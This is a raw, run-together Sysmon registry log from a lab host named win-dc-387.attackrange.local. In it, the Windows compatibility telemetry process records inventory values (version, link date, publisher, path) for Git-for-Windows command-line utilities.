14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getfacl.exe|69b0f93924f494f7\LinkDate03/26/2021 22:24:39 13241300x800000000000000036187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getfacl.exe|69b0f93924f494f7\Publisher(Empty) 13241300x800000000000000036186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getfacl.exe|69b0f93924f494f7\LowerCaseLongPathc:\program files\git\usr\bin\getfacl.exe 13241300x800000000000000036185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getconf.exe|c7f6d864684a6d19\BinProductVersion(Empty) 13241300x800000000000000036184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getconf.exe|c7f6d864684a6d19\LinkDate03/26/2021 22:24:39 13241300x800000000000000036183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getconf.exe|c7f6d864684a6d19\Publisher(Empty) 13241300x800000000000000036182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getconf.exe|c7f6d864684a6d19\LowerCaseLongPathc:\program files\git\usr\bin\getconf.exe 13241300x800000000000000036181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gencat.exe|89f29a911ad31f09\BinProductVersion(Empty) 13241300x800000000000000036180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gencat.exe|89f29a911ad31f09\LinkDate03/26/2021 22:24:39 13241300x800000000000000036179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gencat.exe|89f29a911ad31f09\Publisher(Empty) 13241300x800000000000000036178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gencat.exe|89f29a911ad31f09\LowerCaseLongPathc:\program files\git\usr\bin\gencat.exe 13241300x800000000000000036177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gdbus.exe|bf2693ac7275e90\BinProductVersion(Empty) 13241300x800000000000000036176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gdbus.exe|bf2693ac7275e90\LinkDate01/01/1970 00:00:00 13241300x800000000000000036175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gdbus.exe|bf2693ac7275e90\Publisher(Empty) 13241300x800000000000000036174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gdbus.exe|bf2693ac7275e90\LowerCaseLongPathc:\program files\git\usr\bin\gdbus.exe 13241300x800000000000000036173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gawk.exe|33613608746cae13\BinProductVersion(Empty) 13241300x800000000000000036172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gawk.exe|33613608746cae13\LinkDate01/01/1970 00:00:00 13241300x800000000000000036171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gawk.exe|33613608746cae13\Publisher(Empty) 13241300x800000000000000036170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gawk.exe|33613608746cae13\LowerCaseLongPathc:\program files\git\usr\bin\gawk.exe 13241300x800000000000000036169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gawk-5.0.0.exe|709e9d005b0b4928\BinProductVersion(Empty) 13241300x800000000000000036168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gawk-5.0.0.exe|709e9d005b0b4928\LinkDate01/01/1970 00:00:00 13241300x800000000000000036167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gawk-5.0.0.exe|709e9d005b0b4928\Publisher(Empty) 13241300x800000000000000036166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gawk-5.0.0.exe|709e9d005b0b4928\LowerCaseLongPathc:\program files\git\usr\bin\gawk-5.0.0.exe 13241300x800000000000000036165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gapplication.exe|4ee0a6aaade17793\BinProductVersion(Empty) 13241300x800000000000000036164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gapplication.exe|4ee0a6aaade17793\LinkDate01/01/1970 00:00:00 13241300x800000000000000036163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gapplication.exe|4ee0a6aaade17793\Publisher(Empty) 13241300x800000000000000036162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gapplication.exe|4ee0a6aaade17793\LowerCaseLongPathc:\program files\git\usr\bin\gapplication.exe 13241300x800000000000000036161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\funzip.exe|8d9537366e67e65c\BinProductVersion(Empty) 13241300x800000000000000036160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\funzip.exe|8d9537366e67e65c\LinkDate05/08/2031 18:06:26 13241300x800000000000000036159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\funzip.exe|8d9537366e67e65c\Publisher(Empty) 13241300x800000000000000036158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\funzip.exe|8d9537366e67e65c\LowerCaseLongPathc:\program files\git\usr\bin\funzip.exe 13241300x800000000000000036157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\frcode.exe|c02ff0fb50c67deb\BinProductVersion(Empty) 13241300x800000000000000036156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\frcode.exe|c02ff0fb50c67deb\LinkDate01/01/1970 00:00:00 13241300x800000000000000036155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\frcode.exe|c02ff0fb50c67deb\Publisher(Empty) 13241300x800000000000000036154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\frcode.exe|c02ff0fb50c67deb\LowerCaseLongPathc:\program files\git\usr\libexec\frcode.exe 13241300x800000000000000036153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fold.exe|84163f1e2201dd71\BinProductVersion(Empty) 13241300x800000000000000036152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fold.exe|84163f1e2201dd71\LinkDate01/01/1970 00:00:00 13241300x800000000000000036151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fold.exe|84163f1e2201dd71\Publisher(Empty) 13241300x800000000000000036150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fold.exe|84163f1e2201dd71\LowerCaseLongPathc:\program files\git\usr\bin\fold.exe 13241300x800000000000000036149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fmt.exe|74780154d3c66e14\BinProductVersion(Empty) 13241300x800000000000000036148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fmt.exe|74780154d3c66e14\LinkDate01/01/1970 00:00:00 13241300x800000000000000036147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fmt.exe|74780154d3c66e14\Publisher(Empty) 13241300x800000000000000036146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fmt.exe|74780154d3c66e14\LowerCaseLongPathc:\program files\git\usr\bin\fmt.exe 13241300x800000000000000036145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\find.exe|d79fa77470677f17\BinProductVersion(Empty) 13241300x800000000000000036144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\find.exe|d79fa77470677f17\LinkDate01/01/1970 00:00:00 13241300x800000000000000036143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\find.exe|d79fa77470677f17\Publisher(Empty) 13241300x800000000000000036142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\find.exe|d79fa77470677f17\LowerCaseLongPathc:\program files\git\usr\bin\find.exe 13241300x800000000000000036141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\file.exe|9412a967e2d15f0f\BinProductVersion(Empty) 13241300x800000000000000036140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\file.exe|9412a967e2d15f0f\LinkDate01/01/1970 00:00:00 13241300x800000000000000036139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\file.exe|9412a967e2d15f0f\Publisher(Empty) 13241300x800000000000000036138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\file.exe|9412a967e2d15f0f\LowerCaseLongPathc:\program files\git\usr\bin\file.exe 13241300x800000000000000036137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-token.exe|a3c5680a4f7259a\BinProductVersion(Empty) 13241300x800000000000000036136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-token.exe|a3c5680a4f7259a\LinkDate01/01/1970 00:00:00 13241300x800000000000000036135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-token.exe|a3c5680a4f7259a\Publisher(Empty) 13241300x800000000000000036134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-token.exe|a3c5680a4f7259a\LowerCaseLongPathc:\program files\git\usr\bin\fido2-token.exe 13241300x800000000000000036133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-cred.exe|c2222f8371b081a5\BinProductVersion(Empty) 13241300x800000000000000036132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-cred.exe|c2222f8371b081a5\LinkDate01/01/1970 00:00:00 13241300x800000000000000036131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-cred.exe|c2222f8371b081a5\Publisher(Empty) 13241300x800000000000000036130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-cred.exe|c2222f8371b081a5\LowerCaseLongPathc:\program files\git\usr\bin\fido2-cred.exe 13241300x800000000000000036129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-assert.exe|94d2ea2ef1445ec9\BinProductVersion(Empty) 13241300x800000000000000036128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-assert.exe|94d2ea2ef1445ec9\LinkDate01/01/1970 00:00:00 13241300x800000000000000036127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-assert.exe|94d2ea2ef1445ec9\Publisher(Empty) 13241300x800000000000000036126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\fido2-assert.exe|94d2ea2ef1445ec9\LowerCaseLongPathc:\program files\git\usr\bin\fido2-assert.exe 13241300x800000000000000036125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\false.exe|8d9fec6786dfc816\BinProductVersion(Empty) 13241300x800000000000000036124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\false.exe|8d9fec6786dfc816\LinkDate01/01/1970 00:00:00 13241300x800000000000000036123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\false.exe|8d9fec6786dfc816\Publisher(Empty) 13241300x800000000000000036122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\false.exe|8d9fec6786dfc816\LowerCaseLongPathc:\program files\git\usr\bin\false.exe 13241300x800000000000000036121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\factor.exe|b56619397de59334\BinProductVersion(Empty) 13241300x800000000000000036120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\factor.exe|b56619397de59334\LinkDate01/01/1970 00:00:00 13241300x800000000000000036119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\factor.exe|b56619397de59334\Publisher(Empty) 13241300x800000000000000036118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\factor.exe|b56619397de59334\LowerCaseLongPathc:\program files\git\usr\bin\factor.exe 13241300x800000000000000036117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\expr.exe|2052e3951d88a155\BinProductVersion(Empty) 13241300x800000000000000036116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\expr.exe|2052e3951d88a155\LinkDate01/01/1970 00:00:00 13241300x800000000000000036115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\expr.exe|2052e3951d88a155\Publisher(Empty) 13241300x800000000000000036114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 